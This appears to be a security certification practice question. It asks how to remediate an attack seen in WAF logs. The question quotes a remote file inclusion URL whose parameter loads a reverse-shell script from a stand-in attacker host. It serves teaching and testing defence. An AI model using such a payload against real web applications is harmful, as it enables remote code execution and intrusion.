While Monitoring WAF Logs, a Security Analyst Discovers a Successful

Multiple Choice

While monitoring WAF logs, a security analyst discovers a successful attack against the following URL: https://example.com/index.php?Phone=http://attacker.com/badstuffhappens/revshell.php Which of the following remediation steps should be taken to prevent this type of attack?

A) Implement a blacklist.
B) Block URL redirections.
C) Double URL encode the parameters.
D) Stop external calls from the application.